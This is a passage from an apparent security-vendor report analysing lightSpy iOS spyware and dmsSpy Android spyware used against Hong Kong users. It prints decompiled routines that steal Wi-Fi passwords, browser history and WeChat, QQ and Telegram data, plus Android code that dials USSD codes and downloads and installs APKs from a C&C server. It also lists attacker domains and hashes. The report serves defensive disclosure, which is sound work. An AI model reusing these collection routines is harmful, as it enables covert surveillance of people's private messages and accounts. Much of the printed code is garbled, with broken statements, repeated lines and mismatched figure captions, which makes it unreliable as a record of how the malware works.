        v34 = objc_retainAutoreleasedReturnValue(v32);
        v21 = objc_msgSend(v34, "objectForKey:", CFSTR("SSID_STR"));
        v33 = objc_retainAutoreleasedReturnValue(v21);
        v20 = objc_msgSend(v33, "objectForKey:", CFSTR("lastAutoJoined"));
        v31 = objc_retainAutoreleasedReturnValue(v20);
        if ( v31 )
        {
            v19 = objc_msgSend(v31, "objectForKey:", CFSTR("lastJoined"));
            v7 = objc_retainAutoreleasedReturnValue(v19);
            v8 = v33;
            v23 = v7;
            objc_release(v8);
            v31 = objc_msgSend(v44, "ConvertTime!", v23);
            v18 = objc_msgSend(0, "NSClass_x-MutableDictionary", "alloc");
            location = objc_msgSend(v18, "init");
            if ( location )
            {
                objc_msgSend(location, "setValue:forKey:", v33, CFSTR("ssid"));
                v17 = location;
                v16 = objc_msgSend(v17, "objectForKey:", CFSTR("password"));
                v15 = objc_retainAutoreleasedReturnValue(v16);
                objc_msgSend(v15, "setValue:forKey:", v32, CFSTR("mac"));
                v14 = location;
                v13 = objc_msgSend(location, "setValue:forKey:", v19, CFSTR("numberWithLongLong"), 1000L * ( jlong)v31);
                v12 = objc_retainAutoreleasedReturnValue(v12);
                objc_msgSend(v12, "addObject", location);
                v35 = 0;
            }
        }
    }
}

Figure 57. Parsing each item to get the basic service set identifier (BSSID), SSID_STR, lastAutoJoined, lastJoined, and even the password information.

To get the Wi-Fi scan list, it loads the private MobileWiFi framework first and imported necessary functions through the dlsym function.

Figure 58. The dlsym function.
It also creates a Wi-Fi manager using the WiFiManagerClientCreate() function. It then uses WiFiManagerClientCopyDevices to copy the devices and set it to UtilNetworksManager object.

```c
if (!location)
{
    v5 = objc_msgSend(id, @selector(location)];
    v6 = objc_msgSend(id, @selector(SSID));
    v7 = objc_msgSend(id, @selector(MAC));
    v8 = objc_msgSend(id, @selector(EncryptionType));
    v9 = objc_msgSend(id, @selector(SignalStrength));
}
```

Figure 59. The WiFiManagerClientCreate() function as Wi-Fi manager

It then uses the getScanList function to parse the detail properties, including the service set identifier (SSID), MAC, encryption type, and signal strength information.

```c
while ( 1 )
{
    v3 = v2;
    if ( (geom_t *)v3 )
        v2 = (geom_t *)v3;
    v3 = objc_msgSend(id, @selector(location));
    v4 = objc_msgSend(id, @selector(SSID));
    v5 = objc_msgSend(id, @selector(MAC));
    v6 = objc_msgSend(id, @selector(EncryptionType));
    v7 = objc_msgSend(id, @selector(SignalStrength));
}
```

Figure 60. The getScanList function
3.10 Browser module (Command ID 14000)

It is mainly used to get the device’s browser history for Safari and Chrome. For Safari, it first loads the history database from the Safari application path.

```objective-c
id_declare + [Safari getSafariHistoryPath] (id a1, SEL a2) {
    id v2; // x0
    id v3; // x0
    void *v4; // x20
    id v5; // x0
    id v6; // x10
    id v7; // x20
    v2 = [Browser GetCommonApi] (OBJECT_CLASS_Browser, "GetCommonApi");
    v3 = objc_retainAutoreleasedReturnValue(id);  
    v4 = [v3 getDataType];  
    v5 = [v4 getHistoryPath];  
    v6 = [v5 getHistoryPath];  
    objc_release(v5);  
    if (v6) {
        v7 = [v6 getHistoryPath];  
        v8 = [v6 getHistoryPath];  
        objc_release(v6);  
        objc_release(v8);  
        return objc_retainAutoreleasedReturnValue(id);
    } else {
        v8 = GLL;
        objc_release(v8);
    }
}
```

Figure 61. Uploading sensitive information to the corresponding server

Figure 62. Getting the Safari browser history
It uses the following Structured Query Language (SQL) statement to query each browser item, then parses each detail properties such as URL, title, and visit time information.

```
"select a.id, url, domain_expansion, title, visit_count, visit_time from history_items as a left join history_visits as b on a.id=b.history_item where a.id>%d order by a.id asc"
```
3.11 Locationaaa module (Command ID 13000)

This module is mainly used to get the targets' iPhone location information. It includes two sub-commands. When the command is 13002, it sets up the continuous configuration with the attacker's parameters.

Figure 65. Uploading the history information to the http://…/api/browser_history/ server

Figure 66. Command 13002

Parameters are primarily the update interval and duration
3.12 The iOS WeChat module (Command ID 12000)
This module is mainly used to collect the targets’ WeChat associated information, such as account information, contacts, groups, messages, and files.
The framework for stealing information

The steps used to steal the information:

1. Get the users' WeChat accounts

To get the WeChat accounts' information, it first locates WeChat's Documents directory and parses the LoginInfo2.dat file. This file stores many of the accounts' information using a special format that includes id_person, phone, and name.

It then uses the id_person value to compute an MD5 hash. Id_person is a value, like "wxid_xxxx." WeChat supports multiple users, so it uses this hash to create each account's directory for storing information such as account ID and usage.

Figure 70. The gathered WeChat information

Figure 71. Retrieving LoginInfo2.dat, which contains account information
After finding each account directory, all the properties, including id_persion, directory, phone, and nickname info for each account, will be collected.

Figure 72. Getting the id_persion value

2. Use the collected accounts to get the corresponding information that command ID refers to

The following figure shows that attackers will repeatedly go through all accounts and execute the upload function.

Figure 73. Using the id_persion value to calculate a hash and using it to find each account directory

Figure 74. Attackers will repeatedly go through all accounts and execute the upload function
3.12.2 WeChat collected Information

**WeChatAccount**

```swift
v13 = self;
v12 = self->super_accountInfo;
v11 = objc_msgSend(v11, "stringByAppendingPathComponent:\", CFSTR("DB\")");
v10 = objc_msgSend(v11, "stringByAppendingPathComponent:\", CFSTR("WCDB_Contact.sqlite\")");
location = objc_retainAutoreleasedReturnValue(v4);
```

Figure 76. Collecting the head icons for each account

**WeChatGroup**

```swift
v2 = objc_msgSend(v12->super_accountInfo, "stringByAppendingPathComponent:\", CFSTR("DB\")");
v3 = objc_retainAutoreleasedReturnValue(v2);
v10 = v3;
v4 = objc_msgSend(v3, "stringByAppendingPathComponent:\", CFSTR("WCDB_Contact.sqlite\")");
location = objc_retainAutoreleasedReturnValue(v4);
objc_release(v10);
```

Figure 77. Gathering data in the WCDB_Contact.sqlite database

It queries this database using the “select dbContactChatRoom,dbContactRemark,userName,ROWID from friend where ROWID>%d” SQL statement. After that, it parses each item that contains the “chatroom” string.

In the upload function, it uses the related handler execute getData() function to get the detailed content, which it sends to the related server.

Figure 75.
WeChatMessage

This part is mainly used to collect targets' WeChat message information. To collect the messages, it firstly collects all the friends from the WCDB_Contract.sqlite database and filters out unwanted ones like "newapp," then saves the information into a global dictionary variable named "accountMD5" using the <UserName_MD5Hash, UserName> pattern.

WeChatMessage

Figure 78. Parsing for the "chatroom" string

```c
if ( (unsigned int)objc_msgSend(v59, "containsString!", CFSTR(\"chatroom\\") & 1 ) )
{
    v9 = objc_msgSend(v59, "dataForColumnIndex!", LLP);
    v56 = objc_retainAutoreleasedReturnValue(v9);
    v9 = objc_msgSend(v59, "dataForColumnIndex!", LLP);
    v58 = objc_retainAutoreleasedReturnValue(v9);
    v54 = objc_retainAutoreleasedReturnValue(v9);

    if ( (unsigned int)objc_msgSend(v9, "containsString!", CFSTR(\"chatroom\\") & 1 ) )
    {
        v5 = location;
        v10 = [CFMessage parseFromData:error];
        [OBJC_CLASS__ChatRoomPBU "parseFromData: error!", v56, &v5];
        v7 = objc_retainAutoreleasedReturnValue(v10);
        objc_storeStrong((location, v5));
        v5 = v5;
        v13 = objc_msgSend(v56, "name!");
        v4 = objc_retainAutoreleasedReturnValue(v15);
        v13 = objc_msgSend(v56, "members!");
        v11 = objc_retainAutoreleasedReturnValue(v13);
        v11 = objc_msgSend(v14, "componentsSeparatedByString!", CFSTR(\"\")");
        v4 = objc_retainAutoreleasedReturnValue(v11);
        objc_storeStrong((location, v5));
        v3 = v5;
        v13 = objc_msgSend(v56, "componentsSeparatedByString!", CFSTR(\"\")");
        v4 = objc_retainAutoreleasedReturnValue(v11);
        objc_storeStrong((location, v5));
        v5 = v5;
        v10 = objc_msgSend(v56, \\
         "componentsSeparatedByString!", CFSTR(\"\")");
        v4 = objc_retainAutoreleasedReturnValue(v11);
        objc_storeStrong((location, v5));
        v5 = v5;
        v39 = objc_msgSend(v39, "contactDb", \\
         "select users from friends!");
        v50 = objc_retainAutoreleasedReturnValue(v39);
        while ( (unsigned int)objc_msgSend(v36, "next!") & 1 )
        {
            v11 = objc_msgSend(v36, "stringForColumnIndex!", LLP);
            v5 = location;
            v39 = (id)accountMD5;
            v10 = objc_msgSend(v39, "location!", ms");
            v11 = objc_retainAutoreleasedReturnValue(v11);
            objc_msgSend(v30, "setObject forKey!", v11, v12);
            objc_release(v31);
            objc_storeStrong((location, LLP));
        }
        objc_msgSend(v36, "close!");
        v36 = (id)accountMD5;
        v13 = [WeChatGenerator account](v39, "account!");
        v14 = objc_retainAutoreleasedReturnValue(v13);
        v15 = objc_retainAutoreleasedReturnValue(v14);
        v15 = v15;
        v39 = objc_msgSend(v39, "account!");
        v12 = objc_retainAutoreleasedReturnValue(v12);
        objc_release(v31);
        objc_release(v23);
        v60 = (unsigned int)objc_msgSend(v39, \\
         "db", open!, &v1); v63 = 1;
        objc_storeStrong(v63, LLP);
    }

    if ( " infrared" )
    {
        APEL_13:
    v71 = objc_msgSend(v39, "super__accountName", "stringByAppendingPathComponent!", CFSTR(\"DB\")");
    v28 = objc_retainAutoreleasedReturnValue(v27);
    v9 = v15;
    v19 = objc_msgSend(v19, "stringByAppendingPathComponent!", CFSTR(\"WL.sqlite\")");
    v28 = objc_retainAutoreleasedReturnValue(v28);
    v28 = (void *)accountMD5;
    v27 = (void *)accountMD5;
    v27 = v27;
    v39 = v28;
    obj_msgSend(v23);
    v60 = (unsigned int)objc_msgSend(v39, "db", open!, &v1); v63 = 1;
    objc_storeStrong(v63, LLP);
```
In this database, all the messages sent to certain friends are saved in the Chat_UserNameHash table, so it can iteratively go through all the tables and then save the messages with UserName_Hash for all friends.

```c
v30 = objc_msgSend([NSArray __weak keyArray, 'new']);
v3 = objc_msgSend(
    v30, DB
    , "executeQuery",
    CFSRET([SELECT name FROM sqlite_master WHERE type='table' and name like 'Chat' and name not like 'ChatEvt' ']
    , v29 = objc_retainAutoReleasedReturnValue(v3);
while (unsigned int)objc_msgSend(v29, 'next') & 1 )
{
    v3 = objc_msgSend(-29, "stringForColumnIndex", GLZ);
    location = objc_retainAutoReleasedReturnValue(v3);
   .Collectors getTableMessage:toArr1v29, 'getTableMessage:toArr1', location, v30);
objc_storeStrong(&location, GLZ);
}
```

Figure 81. Sending saved messages to Chat_UserNameHash

It first used the "SELECT CreateTime,Des,MesLocalID,Message,type FROM %@ where MesLocalID>%d" SQL statement to get all the message items. Among these columns, the MesLocalID is the name used to save a message file. Type indicates the message type, including simple message, image, audio, video, and open data, which can get the file type from suffix.

To get an audio message, it firstly sets up the message type, and then uses the "/accountHome/Audio/message_id.aud" path to read the content. This way, the attackers collect all the messages.

```c
v98 = v93;
v40 = objc_msgSend([NSArray __weak keyArray, 'newWithInt:', 2LL]);
v98 = objc_retainAutoReleasedReturnValue(v40);
objc_msgSend(v98, 'setObject forKey:', v93, CFSRET("messageType"));
objc_release(v98);
v9 = objc_msgSend(-29, "stringByAppendingPathComponent!", CFSTR("Audio"));
v98 = objc_retainAutoReleasedReturnValue(v9);
v9 = v99;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
v99 = v98;
objc_release(v99);
objc_release(v98);
objc_release(v97);
objc_release(v96);
objc_release(v95);
objc_msgSend(-132, "setObject forKey:", kCFUserDefaultContainers, CFSTR("content"));
objc_msgSend(-132, "setObject forKey:", v118, CFSTR("filesAre"));
gc free v34;
```

Figure 82. Getting an audio message

**WeChatContacts**

The contacts information is saved in the "WCDB_Contact.sqlite" database.

```c
v2 = objc_msgSend([self->super_accountHome, "stringByAppendingPathComponent!", CFSTR("DB");
v3 = objc_retainAutoReleasedReturnValue(v2);
v10 = v3;
v6 = objc_msgSend(-29, "stringByAppendingPathComponent!", CFSTR("WCDB_Contact.sqlite"));
location = objc_retainAutoReleasedReturnValue(v6);
objc_release(v6);
v5 = objc_msgSend((id)globalCommon, "databaseWithPath:", location);
v6 = objc_retainAutoReleasedReturnValue(v5);
```

Figure 83. The WCDB_Contact.sqlite database path
It uses the following SQL statement to get the contacts information:

```sql
select dbContactHeadImage, dbContactProfile, dbContactRemark, userName, ROWID from friend where ROWID>%d order by ROWID
```

Among these columns, the `dbContactHeadImage` column is mainly used to store the head image information; `dbContactProfile` stores each friend’s profile information, including country, province, and city; and the `dbContactRemark` field stores each friend’s remark details, such as name and alias.

---

Figure 84. Getting contacts’ information
WeChatFile

This module is mainly used to collect all the messages’ file path, which is similar to the WeChatMessage module.

```c
case OSiso:
    v38 = v34;
    v31 = (unsigned __int8 *)&WeChatFile extractFileSuffix:fromContent:
    v37, 0);
    extractFileSuffix:fromContent:
    et, 0);
    objc_storeStrong(v31, v37);
    if (v36 & 1)
        {
        v49 = objc_msgSend(v38, "super_accountName");
        "stringByAppendingPathComponent:",
        CFSTR("OpenData"));
        v90 = v49;
        v51 = objc_msgSend(v90, "stringByAppendingPathComponent:",
        v97);
        v93 = objc_retainAutoreleaseRetainValue(v51);
        v52 = objc_msgSend(ABID_DATA RECEIVING "stringWithFormat",
        CFSTR("%d", v90, v94));
        v93 = objc_retainAutoreleaseRetainValue(v52);
        v92 = v97;
        v54 = objc_msgSend(v92, "stringByAppendingPathComponent:"
        v53);
        v95 = objc_retainAutoreleaseRetainValue(v54);
        v98 = v90;
        v76 = v93;
        objc_release(v95);
        objc_release(v95);
        objc_release(v95);
    }
    break;
    }
    if (v76 == (unsigned int)objc_msgSend(v83, "fileExistAtPath:"
    v76) & 1)
    {
    v93 = _hashcode = 1;
    objc_storeStrong((id *)&v93 = filePath, v76);
    objc_msgSend(v83, "close"));
    v51 = objc_release(v83 = &filePath);
    v88 = 1;
}
```

Figure 85. WeChatFile module

We shared our analysis with Tencent, which responded with the following: “This report by Trend Micro is a great reminder of why it’s important to keep the operating system on computers and mobile devices up to date. The vulnerabilities documented in the report, which affected the Safari web browser in iOS 12.1 and 12.2, were fixed in subsequent updates to iOS.

A very tiny percentage of our WeChat and QQ users were still running the older versions of iOS that contained the vulnerability. We have already issued a reminder to these users to update their devices to the latest version of iOS as soon as possible.

Tencent takes data security extremely seriously and will continue to strive to ensure that our products and services are built on robust, secure platforms designed to keep user data safe.”
3.13 iOS QQ module (Command ID 25000)

The whole architecture of this module is nearly similar to that of the WeChat module.

The only difference here is the location of the information and its format.

![Figure 86. The iOS QQ module](image)

![Figure 87. Getting the targets' QQ information](image)
3.14 iOS Telegram module (Command ID 26000)

The whole architecture of this module is nearly similar to that of the WeChat module as well.

Like the QQ module, the difference here is the location of the information and its format.

To get the targets’ account info, it first locates the “Documents” directory. It then goes through the “telegram-data” folder, then uses the regular expression “account-\d+” to get the account list.

The other submodules are almost similar to the WeChat module.
Apple has been notified of this research through Trend Micro’s Zero Day Initiative (ZDI). We also reached out to Telegram on our findings and have not received a response at the time of publication.

4 Android Malware dmsSpy

4.1 Distribution

While we were tracking the activity of the Operation Poisoned News campaign, we identified two URLs linked to Android APK files with the domains they used. Both of the URLs were posted on public Telegram channels used by users in Hong Kong in 2019. The messages were already deleted when we checked the Telegram channels. However, we were able to find the text messages from the webpage of the Telegram channel cached by the Google search engine.

One of the linked APKs was shared as an application for watching paid porn videos for free. The link was already down when we checked it. For this one, we were not able to find the original APK file downloaded from the link.

Another APK link was disguised as a calendar application for checking the schedule of upcoming political events in Hong Kong. Though the link was also down, we managed to find the original file downloaded from it.
4.2 Behavior Analysis
The calendar application shown above requires many sensitive permissions such as READ_CONTACTS, RECEIVE_SMS, READ_SMS, CALL_PHONE, ACCESS_LOCATION, and WRITE/READ EXTERNAL_STORAGE.

When launched, it first collects device information such as device ID, brand, model, OS version, physical location, and SDcard file list. It then sends the collected information back to the C&C server.
It also steals contact and SMS information stored in the device. Furthermore, it registers a receiver that monitors new incoming SMS messages and syncs messages with the C&C server in real-time.

<table>
<thead>
<tr>
<th>USSD Code</th>
<th>Operator</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><em>118</em>35#</td>
<td>CUuniq</td>
<td>Check remaining credit and expiry date</td>
</tr>
<tr>
<td>*#130#</td>
<td>CMHK</td>
<td>Check remaining credit and expiry date</td>
</tr>
<tr>
<td>*109#</td>
<td>hkcs1</td>
<td>Check main balance checking</td>
</tr>
<tr>
<td>##107#</td>
<td>3HK</td>
<td>Check credit balance, mobile</td>
</tr>
</tbody>
</table>
Table 2. Trying to dial certain USSD codes to query the device’s SIM card information

```
Object v0 = ((Activity)this).getSystemService("phone");
if(v0 != null) {
    try {
        if(b.a(((Context)this), "android.permission.CALL_PHONE") != 0) {
            goto label_25;
        }
    }
    if(Build.VERSION.SDK_INT >= 26) {
        ((TelephonyManager)v0).sendUssdRequest(arg4, new Xa(this), new Handler());
        return;
    }
    Intent v0_1 = new Intent("android.intent.action.CALL");
    v0_1.setData(this, arg4);
    try {
        ((Activity)this).startActivity(v0_1);
    }
}
```

Figure 96. Dialing USSD code

The app can perform an update by querying the C&C server to fetch the URL of the latest APK file, then download and install it.

```
StringBuilder v1 = new StringBuilder();
v1.append(n.H(c()));
v1.append("/data/device/calendar_app/latest");
String v1_1 = this.a;
Log.i(v1_1, "request url" + v0_3);
URLConnection v0_2 = v0_1.openConnection();
if(v0_2 != null) {
    ((HttpURLConnection)v0_2).setReadTimeout(100000);
    ((HttpURLConnection)v0_2).setConnectTimeout(100000);
    ((HttpURLConnection)v0_2).connect();
    if(((HttpURLConnection)v0_2).getResponseCode() == 200) {
        e.a(new BufferedReader(new InputStreamReader(((HttpURLConnection)v0_2).getInputStream())), new b(v5));
        goto label_59;
    }
    v5.a = "responseCode" + ((HttpURLConnection)v0_2).getResponseCode();
    goto label_59;
}
```

Figure 97. Getting the latest APK file URL

```
private final void b(file arg) {
    Intent v0 = new Intent();
v0.setAction("android.intent.action.VIEW");
v0.setDataAndType(Uri.fromFile(arg3), "application/vnd.android.package-archive");
(Activity)this).startActivity(v0);
}
```

Figure 98. Installing the APK file

While checking the communication between the C&C server and the APK malware, we noticed that the server did not disable the debug mode of the web framework, which allowed us to see the list of APIs used for C&C communication. Some of the APIs have been used in the malicious calendar application. We suspect that the attacker is still improving the payload to improve its capabilities.
One of the APIs, called “screen_shot,” implies that it may be able to get the screenshot of the device. Another API of install_apk hints that the attackers would also have the capability to install the additional APK file to infected devices.

Not only is the malicious APK downloaded from a server hosted with the domain used by Operation Poisoned News, but the C&C domain also overlaps with the domain they used to host the malicious news page for the watering hole attack. For that reason, we believe that the APK malware is operated by the same campaign.

Using the URLconf defined in xadaxl.urls, Django tried these URL patterns, in this order:

1. admin/
2. auth/
3. *ds/* index* [name='dns_index']
4. *ds/* device/list* [name='dns_device_list']
5. *ds/* device/list/tags [name='dns_list_tags']
6. *ds/* device/list_contact* [name='dns_list_contact']
7. *ds/* device/list_client* [name='dns_list_device']
8. *ds/* device/create_set* [name='dns_create_set']
9. *ds/* device/cmd$/ [name='dns_cmd']
10. *ds/* device/cmd/$ [name='dns_list_cmd']
11. *ds/* device/cmd/send_event$/ [name='getUI_send_event']
12. *ds/* device/cmd/event/list* [name='list_event']
13. *ds/* device/cmd/event/create* [name='create_event']
14. *ds/* device/cmd/event/detail$ [name='event_detail']
15. *ds/* device/cmd/event/sync$ [name='sync_event']
16. *ds/* device/cmd/event/push_event_to_all$ [name='push_event_to_all']
17. *ds/* device/cmd/event/push* [name='manual_push_event']
18. *ds/* device/create_contact$ [name='dns_create_contact']
19. *ds/* device/update_device$ [name='dns_update_device']
20. *ds/* device/install_apk$ [name='install_apk']
21. *ds/* device/screen_shot$ [name='screen_shot']
22. *ds/* device/calendar_apk/list$ [name='dns_calendar_apk_list']
23. *ds/* device/calendar_apk/create$ [name='dns_calendar_apk_create']
24. *ds/* device/calendar_apk/latest$ [name='dns_calendar_apk_latest']
25. *$ [name='ping_index']
26. static(['path', '']) [name='static']

The current path, /device/, didn’t match any of these.

Figure 99. The debug message leaked the APIs of the C&C server
5 Appendix
MITRE ATT&CK Matrix™

### iOS

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Drive by Compromise</td>
<td>Exploit OS Vulnerability</td>
<td>App Auto-Start at Device Boot</td>
<td>Application Discovery</td>
<td>Access Stored Application Data</td>
<td>Application Discovery</td>
<td>Access Call Log</td>
<td>Alternate Network Medium</td>
<td>Alternate Network Medium</td>
<td>Remotely Track Device Without Authorization</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Location Tracking</td>
<td>Access Stored Application Data</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>System Information Discovery</td>
<td>Capture SMS Messages</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>System Network Configuration Discovery</td>
<td>Data from Local System</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>System Network Connections Discovery</td>
<td>Location Tracking</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Network Information Discovery</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Android

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Persistence</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Collection</th>
<th>Command and Control</th>
<th>Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Masquerade as Legitimate Application</td>
<td>App Auto-Start at Device Boot</td>
<td>Download New Code at Runtime</td>
<td>Capture SMS Messages</td>
<td>File and Directory Discovery</td>
<td>Access Calendar Entries</td>
<td>Commonly Used Port</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Location Tracking</td>
<td>Access Contact List</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>System Information Discovery</td>
<td>Capture SMS Messages</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Location Tracking</td>
</tr>
<tr>
<td>Indicator</td>
<td>Filename</td>
<td>Attribution</td>
<td>Trend Micro Detection</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-----------</td>
<td>----------</td>
<td>-------------</td>
<td>-----------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>d5239210a9bc0383f569e9ca095fe8bdfb9a482b2bc77c8658f6ececb23b8a26bc</td>
<td>payload.dylib</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4887389ffaf4257b37408ea9f1740eabe0805f830009cf58185757372f903667</td>
<td>light</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3163c8b8d8eb3cddaa9636c87379b1c384dec207ce9f150503f4b1ef8cfab945</td>
<td>ircbin.plist</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>f3f14cdada70d43ee381cc1b058600eb6b983af8799d3e6c4b34ee349c40e1d6</td>
<td>baseinfoaaa.dylib</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>23e8884c69176d5f4da0260c6db296301c00afccd47373033ac1a06f227c3</td>
<td>browser</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ce5241de3a378a64266c566e5094ecbb85ba7a6af677a3112db8074d78a55df1</td>
<td>EnviromentalRecording</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>07c3005f4c7c22b8b5368367c43ad484a1a386b615e1a6944260d5ec797a66a</td>
<td>FileManager</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>51d7ebd3a3f38432c68c913ae48fe26a2068da4b52c9f09728df69cab13a4b3b</td>
<td>ios_qq</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0dec52076249d916ec623ea52177352fbc88f258db316eac85462c7b459f1a2d</td>
<td>ios_telegram</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3c1bf6dafe891ff248180c2102ed65fbdec086a334193894db67b0461a0485c5</td>
<td>ios_wechat</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1ee01ebeefc6667b6ee08e8dede5cd36ca10697180f10e243a2fdebeefcb</td>
<td>irc_loader</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6505958a06b16aa819e4e86858746750b8c72a75f31bdfb6471d38d72b602</td>
<td>KeyChain</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>641d22e38b4135c567fb6037a6d7609ff9ae9ae84664993a3f4c07859b77241e</td>
<td>locationaaa.dylib</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3135ef292c9b80f9b961d3927ef9c9e148d4c5f6c63303692dc966484954</td>
<td>Screenaaa</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>54c278f88b966e340269d3bb4a1480a815d103c92084d4673f3664ee0c0a7f8</td>
<td>ShellCommandaaa</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1c0316d0194e8008904679242d592d1a2aeeb22acef28c7854e4361692a85e7</td>
<td>SoftInfoaaa</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6ca6342caef3eae23353850cb2c974e8607c017661b7410de7a1004b05ec</td>
<td>WifiList</td>
<td>lightSpy hash</td>
<td>IOS_LightSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>575890d6f606064a5d31b33743e056</td>
<td>HKcalander.a</td>
<td>dmsSpy</td>
<td>AndroidOS_dmsSpy.A</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>pk</td>
<td>lightSpy C&amp;C IP address</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----</td>
<td>-------------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>pk</td>
<td>Watering hole exploit server</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>pk</td>
<td>dmsSpy C&amp;C domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>movie[.]poorgoddaay[.]com</td>
<td>dmsSpy download server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>news[.]poorgoddaay[.]com</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>app[.]poorgoddaay[.]com</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>app[.]hkrevolution[.]club</td>
<td>dmsSpy download server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>news2[.]hkrevolution[.]club</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>svr[.]hkrevolution[.]club</td>
<td>dmsSpy C&amp;C domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>news[.]hkrevolution[.]club</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>www[.]facebooktoday[.]cc</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>news[.]hkrevolt[.]com</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>www[.]messager[.]cloud</td>
<td>Watering hole server domain</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
TREND MICRO™ RESEARCH

Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information.

Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threats techniques. We continually work to anticipate new threats and deliver thought-provoking research.

